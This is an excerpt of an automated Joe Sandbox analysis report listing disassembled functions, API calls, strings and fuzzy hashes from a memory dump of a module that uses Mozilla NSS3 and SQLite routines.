Part of subcall function 6CE40F00: PR_NewLogModule.NSS3(clock,6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE79111

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: f49506a4e87d9d7d7ac6baa943eceac6030291bbe75f7d27c5cbff2089895391
Instruction ID: 5c95c62cfc18e468d21bd291dd5f590397f6fda1ab65d0b7ae83af03b22df851
Opcode Fuzzy Hash: f49506a4e87d9d7d7ac6baa943eceac6030291bbe75f7d27c5cbff2089895391
Instruction Fuzzy Hash: DF5199B5A142058FCB50EF38C4C8399BBF1BF0A318F265569DC449B716EB31E885CBA1

Function 6CE57CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE53F7F,?,00000055,?,?,6CE51666,?,?), ref: 6CE540D9
Part of subcall function 6CE540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE51666,?,?), ref: 6CE540FC
Part of subcall function 6CE540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE51666,?,?), ref: 6CE54138

PR_GetCurrentThread.NSS3 ref: 6CE57CFD

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF79030), ref: 6CE57D1B

Part of subcall function 6CEAFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE51A3E,00000048,00000054), ref: 6CEAFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF79048), ref: 6CE57D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CE57D50
PR_GetCurrentThread.NSS3 ref: 6CE57D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CE57D7D
free.MOZGLUE(?), ref: 6CE57D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CE57DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CE57E19

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 1d40c067099ea31ed6c21ed2e6c1c7971d531c979142ab6152ec71a557b7b91b
Instruction ID: 0734f3ceae9b17b31603d80e1832c7db92036a55576935ea47d3419f91fd6b3e
Opcode Fuzzy Hash: 1d40c067099ea31ed6c21ed2e6c1c7971d531c979142ab6152ec71a557b7b91b
Instruction Fuzzy Hash: D3410772A1011A9BDB008F699C41BAF33F4AF4225CF654028EC05A7B50EB32ED39C7A1

Function 6CE67EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CE680DD), ref: 6CE67F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CE680DD), ref: 6CE67F36
free.MOZGLUE(?,?,?,6CE680DD), ref: 6CE67F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CE680DD), ref: 6CE67F5D
DeleteCriticalSection.KERNEL32(?,6CE680DD), ref: 6CE67F94
free.MOZGLUE(?), ref: 6CE67F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CE680DD), ref: 6CE67FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CE680DD), ref: 6CE67FE6
free.MOZGLUE(?,6CE680DD), ref: 6CE6802D

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 03b556ddaafa49d37876ef867702d60cdd468436a301a2e674fea9486b578542
Instruction ID: 9f21f1b993bc11bc915fd9c0638ea8b8dbf66468219765a5dbc5c74f8ee2818a
Opcode Fuzzy Hash: 03b556ddaafa49d37876ef867702d60cdd468436a301a2e674fea9486b578542
Instruction Fuzzy Hash: 6B4147B0F601009BDB909FBA98C9B4A77B9AB47358F36022DE51D93F40D732D409CB94

Function 6CEAFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEAFF00

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CEAFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CEAFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CEAFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CEAFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CEAFF8C

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 17a0e2a8c29baac355eff19f9a0d8eab79b82715d02230ab3f2935273cbc5a4f
Instruction ID: 6febeaf5dbc6abe9b2d558ad3d97e18c46af4fcf9a3bbe47a7c3b8563671c1df
Opcode Fuzzy Hash: 17a0e2a8c29baac355eff19f9a0d8eab79b82715d02230ab3f2935273cbc5a4f
Instruction Fuzzy Hash: 393104FA9013529FE7108F948942B6A76B8AF4A35CF350139ED18ABB40E730E906C7D1

Function 6CDF7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDF7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDF7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CDF7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDF7F2E

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDF7ED8, 6CDF7F08, 6CDF7F19
database corruption, xrefs: 6CDF7EE2, 6CDF7F23
%s at line %d of [%.10s], xrefs: 6CDF7EE7, 6CDF7F28

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: a02d2c712109095c6cf0c2014fc4199c625377854eafb5666566be00c08d7530
Instruction ID: 9882e8901179bd720b45d7577bb42f0fb3da737c48b32ab978962af68ae1030c
Opcode Fuzzy Hash: a02d2c712109095c6cf0c2014fc4199c625377854eafb5666566be00c08d7530
Instruction Fuzzy Hash: CE61B270A04206EFDB05CF25D890BEA77B2BF45318F1645A9EC294BB61D731EC56CBA0

Function 6CDDFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDDFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDDFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDFE83

Part of subcall function 6CDDFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CDDFEFA
Part of subcall function 6CDDFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CDDFF3B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDDFD64, 6CDDFE26
database corruption, xrefs: 6CDDFD6E, 6CDDFE30
%s at line %d of [%.10s], xrefs: 6CDDFD73, 6CDDFE35

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: e20350aaf6e9f981caa1921e68915f563ea89d68dd217a2af941185b9a8ef792
Instruction ID: 88a6f58ecbcc47e2aa0dd4e4f2c07b55324eb26639da12d6a479e5c5c7d23517
Opcode Fuzzy Hash: e20350aaf6e9f981caa1921e68915f563ea89d68dd217a2af941185b9a8ef792
Instruction Fuzzy Hash: 69516E71E00205DFDB04CFA9D890AAEB7B1EF48318F154469E905ABB66E731ED50CBA0

Function 6CF22F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF22FFD
sqlite3_initialize.NSS3 ref: 6CF23007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CF23032
sqlite3_mprintf.NSS3(6CF8AAF9,?), ref: 6CF23073
sqlite3_free.NSS3(?), ref: 6CF230B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CF230C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CF230BB

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 56cfdbd6cb36b31499c934cdf2739b46b37ae906f63d8fc2416866c9222ac82a
Instruction ID: 2975a04a7c678cb3d6daf73586af772b14b371ac74aa5a656dc8190ecfa95346
Opcode Fuzzy Hash: 56cfdbd6cb36b31499c934cdf2739b46b37ae906f63d8fc2416866c9222ac82a
Instruction Fuzzy Hash: 7641A572600606AFDB10CF65D840A46B7F5FF44368F158528EC598BB40E735F959CBE1

Function 6CEA5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]l), ref: 6CEA5F0A
TlsGetValue.KERNEL32 ref: 6CEA5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CEA5F2F
PR_Unlock.NSS3(890008E8), ref: 6CEA5F55
PR_SetError.NSS3(00000000,00000000), ref: 6CEA5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CEA5F7D

Part of subcall function 6CEA5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CEA5F82,8B4274C0), ref: 6CEA5248
Part of subcall function 6CEA5220: EnterCriticalSection.KERNEL32(0F6CF70D,?,6CEA5F82,8B4274C0), ref: 6CEA525C
Part of subcall function 6CEA5220: PR_SetError.NSS3(00000000,00000000), ref: 6CEA528E
Part of subcall function 6CEA5220: PR_Unlock.NSS3(0F6CF6F1), ref: 6CEA5299
Part of subcall function 6CEA5220: free.MOZGLUE(00000000), ref: 6CEA52A9

Strings

q]l, xrefs: 6CEA5EDB, 6CEA5F09

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]l
API String ID: 3150690610-3830342008
Opcode ID: 4a946a6b8768c22d6af3a4398c2cbc8e2fd906c8d5befc3a610c4b0f511f1747
Instruction ID: 6840e8a991e804b7df9ecaa72ce914f7539120638216a140e9bf0ec89f0f0531
Opcode Fuzzy Hash: 4a946a6b8768c22d6af3a4398c2cbc8e2fd906c8d5befc3a610c4b0f511f1747
Instruction Fuzzy Hash: E021D6B5D006049FDB10AFA4EC41BEEB7B4EF09318F64402DE919AB701E732A955CB91

Function 6CE68CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CE7124D,00000001), ref: 6CE68D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CE7124D,00000001), ref: 6CE68D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CE7124D,00000001), ref: 6CE68D73
PR_Unlock.NSS3(?,?,?,?,?,6CE7124D,00000001), ref: 6CE68D8C

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

PR_Unlock.NSS3(?,?,?,?,?,6CE7124D,00000001), ref: 6CE68DBA

Strings

KRAM, xrefs: 6CE68D3E
KRAM, xrefs: 6CE68CF9

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 9d3f215a665f8284ba67d7e7917f4f3735cc8456d48235d6bd9c4bc1215fd4f7
Instruction ID: 2d0d81d3bac350a7cc75cc2e7a49c03c8c7d1584e7752dd564b5de6317033787
Opcode Fuzzy Hash: 9d3f215a665f8284ba67d7e7917f4f3735cc8456d48235d6bd9c4bc1215fd4f7
Instruction Fuzzy Hash: 4521B2B5A54601CFCB50EF7AC48465EBBF4FF46318F25896AD89887B01E731D842CBA1

Function 6CE8ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CE8ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE8AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE8AD23

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE8AD39

Strings

hSession = 0x%x, xrefs: 6CE8ACFE, 6CE8AD0E
(CK_INVALID_HANDLE), xrefs: 6CE8AD1C
C_MessageDecryptFinal, xrefs: 6CE8ACE1

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 578de1f473c99cf51b3625536e926404ab4ef62aea259388a979e1973e171eb7
Instruction ID: 8f197909bf85db26e9c635c66f2462a9c911cead111c520edcd6d9bb3e41b4ed
Opcode Fuzzy Hash: 578de1f473c99cf51b3625536e926404ab4ef62aea259388a979e1973e171eb7
Instruction Fuzzy Hash: C0212970B421049FDB409F64DDC8B6A3775AB4230DF254829E80DDBBD1DB319C09C796

Function 6CF60ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF60EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF60EFA

Part of subcall function 6CE4AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE4AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F2B

Strings

Aborting, xrefs: 6CF60EB3
Assertion failure: %s, at %s:%d, xrefs: 6CF60ED9, 6CF60EE5, 6CF60F06, 6CF60F0B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 9abe3fd36280a1e924317e13bcaa798cfc799f325546c9a479d31947c6fad4fb
Instruction ID: 0c8c55d5f4f088bd584a07a8ac29d0688631d1b134a534cf3f76d06a28b9782c
Opcode Fuzzy Hash: 9abe3fd36280a1e924317e13bcaa798cfc799f325546c9a479d31947c6fad4fb
Instruction Fuzzy Hash: C201C0B5910114ABDF01AFA5EC45DAB3F3DEF46364B104025FD1997B01D672E95087A2

Function 6CF41C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=l,?,?,6CE44E1D), ref: 6CF41C8A
sqlite3_free.NSS3(00000000), ref: 6CF41CB6

Strings

a CHECK constraint, xrefs: 6CF41C76, 6CF41C81
an index, xrefs: 6CF41C67
a generated column, xrefs: 6CF41C6C
w=l, xrefs: 6CF41C44
non-deterministic use of %s() in %s, xrefs: 6CF41C85

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=l
API String ID: 1840970956-366597085
Opcode ID: abab617a7cd1cdd3cd9e911dbf3d74ec94508a16e92e634277b20f3d635fcc57
Instruction ID: e94e3524a8d43c628318cbd41ed7af75683a4e5779d193cbf579cfaf8b2cb88c
Opcode Fuzzy Hash: abab617a7cd1cdd3cd9e911dbf3d74ec94508a16e92e634277b20f3d635fcc57
Instruction Fuzzy Hash: 550147B1B001405BD700BB68D802AB277F5EFC234CB15487DED488BB13EB22E866C791

Function 6CF24D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF24DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF24DE0

Strings

invalid, xrefs: 6CF24DB8
API call with %s database connection pointer, xrefs: 6CF24DBD
misuse, xrefs: 6CF24DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF24DCB
%s at line %d of [%.10s], xrefs: 6CF24DDA

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
